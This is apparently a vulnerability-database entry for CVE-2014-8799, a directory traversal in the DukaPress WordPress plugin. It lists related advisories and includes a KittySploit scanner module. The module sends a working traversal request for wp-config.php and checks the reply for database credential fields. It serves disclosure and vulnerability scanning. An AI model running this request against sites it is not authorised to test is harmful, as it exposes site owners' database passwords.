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WordPress Plugin DukaPress 2.5.2 - Directory Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
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Remote attackers can read arbitrary files via directory traversal in DukaPress.

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ReporterTitlePublishedViews
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zdt
zdt
DukaPress 2.5.2 Path Traversal Vulnerability
22 Nov 201400:00
–zdt
circl
Circl
CVE-2014-8799
29 May 201815:50
–circl
cve
CVE
CVE-2014-8799
28 Nov 201415:00
–cve
cvelist
Cvelist
CVE-2014-8799
28 Nov 201415:00
–cvelist
exploitdb
Exploit DB
WordPress Plugin DukaPress 2.5.2 - Directory Traversal
24 Nov 201400:00
–exploitdb
exploitpack
exploitpack
WordPress Plugin DukaPress 2.5.2 - Directory Traversal
24 Nov 201400:00
–exploitpack
mend
Mend
CVE-2014-8799
28 Nov 201415:00
–mend
metasploit
Metasploit
WordPress DukaPress Plugin File Read Vulnerability
16 Apr 201510:17
–metasploit
nuclei
Nuclei
WordPress Plugin DukaPress 2.5.2 - Directory Traversal
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2014-8799
28 Nov 201415:59
–nvd
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A directory traversal vulnerability in the dp_img_resize function in php/dp-functions."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress Plugin DukaPress 2.5.2 - Directory Traversal Detection',
        'description': 'A directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2014', 'wordpress', 'wp-plugin', 'lfi', 'edb', 'dukapress', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2014-8799',
            'https://www.exploit-db.com/exploits/35346',
            'https://wordpress.org/plugins/dukapress/changelog/',
            'https://exchange.xforce.ibmcloud.com/vulnerabilities/98943',
            'https://plugins.trac.wordpress.org/changeset/1024640/dukapress',
        ],
        'cve': 'CVE-2014-8799',
    }

    def run(self):
        r = self.http_request(method="GET", path='/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_all = ('DB_NAME', 'DB_PASSWORD', 'DB_USER', 'DB_HOST',)
        if (all(m in body for m in body_all)):
            self.set_info(
                severity='medium',
                reason="WordPress Plugin DukaPress 2.5.2 - Directory Traversal detected",
                path='/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php',
            )
            return True
        return False

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28 Jul 2026 11:27Current
8.6High risk
Vulners AI Score8.6
CVSS 25
EPSS0.68439
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